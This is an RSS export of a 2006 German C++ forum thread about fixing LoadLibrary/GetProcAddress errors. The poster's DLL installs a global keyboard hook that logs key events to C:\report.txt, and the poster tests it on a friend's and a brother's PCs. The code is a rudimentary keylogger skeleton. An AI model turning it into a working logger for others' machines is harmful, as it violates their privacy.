<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[LoadLibrary]]></title><description><![CDATA[<pre><code class="language-cpp">static HINSTANCE hinstDLL; 
	typedef BOOL (CALLBACK *inshook)(); 
	inshook instkbhook;
	hinstDLL = LoadLibrary((LPCTSTR) &quot;hook.dll&quot;); 
	instkbhook = (inshook)GetProcAddress(hinstDLL, &quot;installhook&quot;); 
	instkbhook();
</code></pre>
<p>also wenn ich so den hook auf rufe<br />
stürtz die exe immer ab warum ?</p>
]]></description><link>https://www.c-plusplus.net/forum/topic/158965/loadlibrary</link><generator>RSS for Node</generator><lastBuildDate>Tue, 21 Jul 2026 00:49:20 GMT</lastBuildDate><atom:link href="https://www.c-plusplus.net/forum/topic/158965.rss" rel="self" type="application/rss+xml"/><pubDate>Sun, 10 Sep 2006 19:25:05 GMT</pubDate><ttl>60</ttl><item><title><![CDATA[Reply to LoadLibrary on Sun, 10 Sep 2006 19:25:05 GMT]]></title><description><![CDATA[<pre><code class="language-cpp">static HINSTANCE hinstDLL; 
	typedef BOOL (CALLBACK *inshook)(); 
	inshook instkbhook;
	hinstDLL = LoadLibrary((LPCTSTR) &quot;hook.dll&quot;); 
	instkbhook = (inshook)GetProcAddress(hinstDLL, &quot;installhook&quot;); 
	instkbhook();
</code></pre>
<p>also wenn ich so den hook auf rufe<br />
stürtz die exe immer ab warum ?</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1134782</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1134782</guid><dc:creator><![CDATA[Help Me]]></dc:creator><pubDate>Sun, 10 Sep 2006 19:25:05 GMT</pubDate></item><item><title><![CDATA[Reply to LoadLibrary on Sun, 10 Sep 2006 19:54:43 GMT]]></title><description><![CDATA[<p>erster ansatz: überprüf mal die lage der dll</p>
<pre><code>instkbhook = (inshook)GetProcAddress(hinstDLL, &quot;installhook&quot;); 

if (instkbhook)
   ... mache was
else
   printf(&quot;\nDLL nicht gefunden.\n Pfad falsch.&quot;);
</code></pre>
]]></description><link>https://www.c-plusplus.net/forum/post/1134802</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1134802</guid><dc:creator><![CDATA[elise]]></dc:creator><pubDate>Sun, 10 Sep 2006 19:54:43 GMT</pubDate></item><item><title><![CDATA[Reply to LoadLibrary on Sun, 10 Sep 2006 20:12:54 GMT]]></title><description><![CDATA[<p>er findet die dll<br />
nachher komtm wieder error...<br />
Windows musste die anwendung schließen ...</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1134811</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1134811</guid><dc:creator><![CDATA[Help Me]]></dc:creator><pubDate>Sun, 10 Sep 2006 20:12:54 GMT</pubDate></item><item><title><![CDATA[Reply to LoadLibrary on Sun, 10 Sep 2006 20:42:05 GMT]]></title><description><![CDATA[<p>Tippe mal stark darauf, dass du den Namen der zu dynamisch linkenden Funktion (Hier: 'installhook') falsch geschrieben hast. Kontrollier das mal (-&gt; auch Groß -und Kleinschreibung!)</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1134819</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1134819</guid><dc:creator><![CDATA[CodeFinder]]></dc:creator><pubDate>Sun, 10 Sep 2006 20:42:05 GMT</pubDate></item><item><title><![CDATA[Reply to LoadLibrary on Mon, 11 Sep 2006 10:14:12 GMT]]></title><description><![CDATA[<pre><code class="language-cpp">BOOL __declspec(dllexport)__stdcall installhook()
{
f1=fopen(&quot;c:\\report.txt&quot;,&quot;w&quot;);
fclose(f1);
hkb=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hins,0);

return TRUE;
}
</code></pre>
<p>ne installhook ist gleich geschrieben</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1135021</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1135021</guid><dc:creator><![CDATA[Help Me]]></dc:creator><pubDate>Mon, 11 Sep 2006 10:14:12 GMT</pubDate></item><item><title><![CDATA[Reply to LoadLibrary on Mon, 11 Sep 2006 11:37:31 GMT]]></title><description><![CDATA[<p>Ohne DEF Datei heißt die Funktion _installhook.</p>
<p>Benutze DUMPBIN /EXPORTS oder DEPENDS um den korrekten Namen anzuzeigen.</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1135078</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1135078</guid><dc:creator><![CDATA[Martin Richter]]></dc:creator><pubDate>Mon, 11 Sep 2006 11:37:31 GMT</pubDate></item><item><title><![CDATA[Reply to LoadLibrary on Mon, 11 Sep 2006 12:53:35 GMT]]></title><description><![CDATA[<p>Und dein Code führt leicht zu Programmabstürzen:</p>
<pre><code class="language-cpp">typedef BOOL (__stdcall *installhook32)(void);

bool InstallHook(void)
{
    ::HINSTANCE        hDll        = NULL;
    ::installhook32    installhook = NULL;

    hDll = ::LoadLibrary(_T(&quot;hook.dll&quot;));

    if (hDll == NULL)
        return false;

    installhook = reinterpret_cast&lt;installhook32&gt;(::GetProcAddress(hDLL, _T(&quot;installhook&quot;)));
    if (installhook == NULL)
        return false;

    return (installhook() == TRUE ? true : false);
}
</code></pre>
]]></description><link>https://www.c-plusplus.net/forum/post/1135143</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1135143</guid><dc:creator><![CDATA[*D*Evil]]></dc:creator><pubDate>Mon, 11 Sep 2006 12:53:35 GMT</pubDate></item><item><title><![CDATA[Reply to LoadLibrary on Mon, 11 Sep 2006 13:43:42 GMT]]></title><description><![CDATA[<p>Help Me schrieb:</p>
<blockquote>
<pre><code class="language-cpp">hinstDLL = LoadLibrary((LPCTSTR) &quot;hook.dll&quot;);
</code></pre>
</blockquote>
<p>Das sollte korrekterweise</p>
<pre><code class="language-cpp">hinstDLL = LoadLibrary(_T(&quot;hook.dll&quot;)); // &lt;tchar.h&gt; nicht vergessen
</code></pre>
<p>heissen.</p>
<p>(D)Evil schrieb:</p>
<blockquote>
<pre><code class="language-cpp">installhook = reinterpret_cast&lt;installhook32&gt;(::GetProcAddress(hDLL, _T(&quot;installhook&quot;)));
</code></pre>
</blockquote>
<p>Hier wiederum gehört das _T nicht hin.</p>
<pre><code class="language-cpp">installhook = reinterpret_cast&lt;installhook32&gt;(::GetProcAddress(hDLL, &quot;installhook&quot;));
</code></pre>
]]></description><link>https://www.c-plusplus.net/forum/post/1135192</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1135192</guid><dc:creator><![CDATA[groovemaster]]></dc:creator><pubDate>Mon, 11 Sep 2006 13:43:42 GMT</pubDate></item><item><title><![CDATA[Reply to LoadLibrary on Mon, 11 Sep 2006 15:10:41 GMT]]></title><description><![CDATA[<p>also ok nun geht es bei mir<br />
aber wenn ich es meinen freund gebe<br />
kommt : HOOK ERROR (1) obwohl er es genau so started wie ich</p>
<pre><code class="language-cpp">typedef BOOL (__stdcall *installhook32)(void);

bool InstallHook(void)
{
    ::HINSTANCE        hDll        = NULL;
    ::installhook32    installhook = NULL;

    hDll = ::LoadLibrary(_T(&quot;hook.dll&quot;));

	if (hDll == NULL) {
		printf(&quot;HOOK ERROR (1)&quot;);
        return false;
	}
	installhook = reinterpret_cast&lt;installhook32&gt;(::GetProcAddress(hDll, &quot;installhook&quot;));
	if (installhook == NULL) {
		printf(&quot;HOOK ERROR (2)&quot;);
		return false; 
	}
    return (installhook() == TRUE ? true : false);
}
</code></pre>
<p>die hook.dll ist im gleichen ordner wie die load.exe<br />
bei mir geht es und bei ihn kommt error und hab auch noch bei<br />
bruder getestet da kommt auch HOOK ERROR (1)</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1135276</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1135276</guid><dc:creator><![CDATA[Help Me]]></dc:creator><pubDate>Mon, 11 Sep 2006 15:10:41 GMT</pubDate></item><item><title><![CDATA[Reply to LoadLibrary on Mon, 11 Sep 2006 15:32:31 GMT]]></title><description><![CDATA[<p>Lass dir mal den entsprechenden Fehler ausgeben:</p>
<pre><code class="language-cpp">printf(&quot;HOOK ERROR (1), %x&quot;, GetLastError());
</code></pre>
<p>btw:<br />
Den globalen Scope Operator ( :: ) kannst du weglassen, und solltest ihn nur verwenden, wenn er wirklich notwendig ist.<br />
Und die Rückgabe kannst du auch einfach</p>
<pre><code class="language-cpp">return installhook() != FALSE;
</code></pre>
<p>schreiben.</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1135305</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1135305</guid><dc:creator><![CDATA[groovemaster]]></dc:creator><pubDate>Mon, 11 Sep 2006 15:32:31 GMT</pubDate></item><item><title><![CDATA[Reply to LoadLibrary on Mon, 11 Sep 2006 17:50:10 GMT]]></title><description><![CDATA[<p>Also hier ist die DLL:<br />
///////////////////////////////////////////////////////////////</p>
<p>[::::::: hook.h :::::::]</p>
<pre><code class="language-cpp">#define EXPORT __declspec(dllexport)__stdcall
LRESULT EXPORT  CALLBACK KeyboardProc(int nCode, WPARAM wParam,LPARAM lParam);
BOOL EXPORT  installhook();
</code></pre>
<p>[::::::: Main.cpp :::::::]</p>
<pre><code class="language-cpp">//// Includes \\\\\\\\\\\\\\\\\\\\\\\\\
///////////////////////////////////////
#include &quot;stdafx.h&quot;
#include &lt;windows.h&gt;
#include &lt;time.h&gt;
#include &lt;conio.h&gt;
#include &lt;stdio.h&gt;
#include &lt;string&gt;
#include &lt;fstream&gt;
#include &lt;iostream&gt;
#include &quot;hook.h&quot;
///////////////////////////////////////

//// Variablen \\\\\\\\\\\\\\\\\\\\\\\\
///////////////////////////////////////
using namespace std;
FILE		*f1;
HHOOK		hkb;
HINSTANCE	hins;
#pragma data_seg (&quot;Shared&quot;)
#pragma data_seg ()
#pragma comment (linker, &quot;/section:Shared,RWS&quot;)
///////////////////////////////////////

//// Keyboard Hook \\\\\\\\\\\\\\\\\\\\
///////////////////////////////////////
LRESULT EXPORT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {		
		if (((DWORD)lParam &amp; 0x40000000) &amp;&amp;(HC_ACTION==nCode)) {
				f1=fopen(&quot;C:\\report.txt&quot;,&quot;a+&quot;);
					if (wParam==VK_RETURN) { fputs(&quot;[ENTER]&quot;,f1); }
					else if (wParam==VK_BACK) { fputs(&quot;[BACK]&quot;,f1); }
				fclose(f1);
		}
	LRESULT RetVal = CallNextHookEx( hkb, nCode, wParam, lParam );
	return  RetVal;
}
///////////////////////////////////////

//// Install Hook \\\\\\\\\\\\\\\\\\\\
///////////////////////////////////////
BOOL EXPORT installhook() {
		f1=fopen(&quot;C:\\report.txt&quot;,&quot;w&quot;);
		fclose(f1);
		hkb=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hins,0);
	return TRUE;
}
///////////////////////////////////////
</code></pre>
<p>Hier ist der Loader:<br />
///////////////////////////////////////////////////////////////</p>
<p>[::::::: Main.cpp :::::::]</p>
<pre><code class="language-cpp">//// Includes \\\\\\\\\\\\\\\\\\\\\\\\\
///////////////////////////////////////
#include &quot;stdafx.h&quot;
#include &quot;windows.h&quot;
///////////////////////////////////////

//// Variablen \\\\\\\\\\\\\\\\\\\\\\\\
///////////////////////////////////////
typedef BOOL (__stdcall *installhook32)(void);
BOOL InstallHook(void);
///////////////////////////////////////

//// Main (Start) \\\\\\\\\\\\\\\\\\\\\
///////////////////////////////////////
int _tmain(int argc, _TCHAR* argv[])
{
	InstallHook();

	while(true) {
		SleepEx(10,true);
	}
	return 0;
}
///////////////////////////////////////

//// Install Hook - Funktion \\\\\\\\\\
///////////////////////////////////////
BOOL InstallHook(void)
{
    ::HINSTANCE        hDll        = NULL;
    ::installhook32    installhook = NULL;

    hDll = ::LoadLibrary(_T(&quot;hook.dll&quot;));

	if (hDll == NULL) {
		printf(&quot;HOOK ERROR (1)\nError = %x&quot;, GetLastError());
        return false;
	}
	installhook = reinterpret_cast&lt;installhook32&gt;(::GetProcAddress(hDll, _T(&quot;installhook&quot;)));
	if (installhook == NULL) {
		printf(&quot;HOOK ERROR (2)\nError = %x&quot;, GetLastError());
		return false; 
	}
    return (installhook() == TRUE ? true : false);
}
///////////////////////////////////////
</code></pre>
<p>könnte mir einer weiter helfen ?<br />
btw sagen wo meine fehler sind</p>
<p>Ich Danke allen die hier Helfen!</p>
<p>mfG,<br />
(Help Me <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f644.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--face_with_rolling_eyes"
      title=":rolling_eyes:"
      alt="🙄"
    /> )</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1135404</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1135404</guid><dc:creator><![CDATA[Help Me]]></dc:creator><pubDate>Mon, 11 Sep 2006 17:50:10 GMT</pubDate></item><item><title><![CDATA[Reply to LoadLibrary on Mon, 11 Sep 2006 20:20:52 GMT]]></title><description><![CDATA[<pre><code class="language-cpp">bool InstallHook(void)
{
    ::HINSTANCE        hDll        = NULL;
    ::installhook32    installhook = NULL;

    hDll = ::LoadLibrary(_T(&quot;hook.dll&quot;));

    if (hDll == NULL) 
    {
        printf(&quot;HOOK ERROR (1)\nError = %x&quot;, GetLastError());
        return false;
    }
    installhook = reinterpret_cast&lt;installhook32&gt;(::GetProcAddress(hDll, &quot;installhook&quot;));
    if (installhook == NULL) 
    {
        printf(&quot;HOOK ERROR (2)\nError = %x&quot;, GetLastError());
        return false;
    }
    return (installhook() == TRUE ? true : false);
}
</code></pre>
<p>BOOL ist ein Integer Datentype ... bool nicht ... d.h. bleib bei bool ... hmm an sonnsten hast du nicht das korrigiert was groovemaster meinte ... tjo ... usw</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1135498</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1135498</guid><dc:creator><![CDATA[*D*Evil]]></dc:creator><pubDate>Mon, 11 Sep 2006 20:20:52 GMT</pubDate></item><item><title><![CDATA[Reply to LoadLibrary on Tue, 12 Sep 2006 06:14:14 GMT]]></title><description><![CDATA[<p>Und was für ein Fehler wird nun angezeigt?</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1135559</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1135559</guid><dc:creator><![CDATA[Martin Richter]]></dc:creator><pubDate>Tue, 12 Sep 2006 06:14:14 GMT</pubDate></item><item><title><![CDATA[Reply to LoadLibrary on Tue, 12 Sep 2006 08:14:22 GMT]]></title><description><![CDATA[<p>also wenn ich starte kommt :</p>
<p>HOOK ERROR (2)<br />
ERROR = 7f</p>
<p>ich glaube das mit der funktion aufrufen ist falsch oder so<br />
wüsste jemand wie man das zum laufen bringt ?</p>
<p>mfG,<br />
Help Me</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1135614</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1135614</guid><dc:creator><![CDATA[Help Me]]></dc:creator><pubDate>Tue, 12 Sep 2006 08:14:22 GMT</pubDate></item><item><title><![CDATA[Reply to LoadLibrary on Tue, 12 Sep 2006 15:15:03 GMT]]></title><description><![CDATA[<p>Martin Richter schrieb:</p>
<blockquote>
<p>Ohne DEF Datei heißt die Funktion _installhook.</p>
<p>Benutze DUMPBIN /EXPORTS oder DEPENDS um den korrekten Namen anzuzeigen.</p>
</blockquote>
<p>Ich wiederhole mich!</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1135976</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1135976</guid><dc:creator><![CDATA[Martin Richter]]></dc:creator><pubDate>Tue, 12 Sep 2006 15:15:03 GMT</pubDate></item><item><title><![CDATA[Reply to LoadLibrary on Tue, 12 Sep 2006 19:28:00 GMT]]></title><description><![CDATA[<p>Martin Richter schrieb:</p>
<blockquote>
<p>Martin Richter schrieb:</p>
<blockquote>
<p>Ohne DEF Datei heißt die Funktion _installhook.</p>
<p>Benutze DUMPBIN /EXPORTS oder DEPENDS um den korrekten Namen anzuzeigen.</p>
</blockquote>
<p>Ich wiederhole mich!</p>
</blockquote>
<p>sry hab ich net gesehen,<br />
leider weiß ich auch nicht wie das geht<br />
könntest du mir da helfen ?</p>
<p>mfG,<br />
Help Me</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1136132</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1136132</guid><dc:creator><![CDATA[Help Me]]></dc:creator><pubDate>Tue, 12 Sep 2006 19:28:00 GMT</pubDate></item><item><title><![CDATA[Reply to LoadLibrary on Tue, 12 Sep 2006 20:42:30 GMT]]></title><description><![CDATA[<p><img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f4a1.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--light_bulb"
      title=":bulb:"
      alt="💡"
    /> <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/27a1.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--right_arrow"
      title=":arrow_right:"
      alt="➡"
    /> <em><strong>_installhook</strong></em> <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/26a0.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--warning"
      title=":warning:"
      alt="⚠"
    /></p>
]]></description><link>https://www.c-plusplus.net/forum/post/1136180</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1136180</guid><dc:creator><![CDATA[CodeFinder]]></dc:creator><pubDate>Tue, 12 Sep 2006 20:42:30 GMT</pubDate></item><item><title><![CDATA[Reply to LoadLibrary on Wed, 13 Sep 2006 14:54:55 GMT]]></title><description><![CDATA[<p>Help Me schrieb:</p>
<blockquote>
<p>also wenn ich starte kommt :</p>
<p>HOOK ERROR (2)<br />
ERROR = 7f</p>
</blockquote>
<blockquote>
<p>//<br />
// MessageId: ERROR_PROC_NOT_FOUND<br />
//<br />
// MessageText:<br />
//<br />
// The specified procedure could not be found.<br />
//<br />
#define ERROR_PROC_NOT_FOUND 127L</p>
</blockquote>
<p>GetProcAddress kann die Funktion installhook schlichtweg nicht finden. Das liegt daran, dass du momentan C++ Name Mangling verwendest. Solche Funktionen zu benutzen, ist nur mit Load-Time Linking ohne grossen Aufwand möglich. Wenn du Runtime Linking (LoadLibrary) verwendest, müsstest du den kryptischen C++ Namen kennen und diesen bei GetProcAddress angeben. Das ist aber erstens unportabel (afaik), und zweitens nicht wirklich schön. Mein Tipp, benutze in diesem Fall explizit C Name Mangling, wenn du mit einem C++ Compiler unterwegs bist.</p>
<pre><code class="language-cpp">extern &quot;C&quot; BOOL EXPORT installhook(void)
</code></pre>
]]></description><link>https://www.c-plusplus.net/forum/post/1136734</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1136734</guid><dc:creator><![CDATA[groovemaster]]></dc:creator><pubDate>Wed, 13 Sep 2006 14:54:55 GMT</pubDate></item></channel></rss>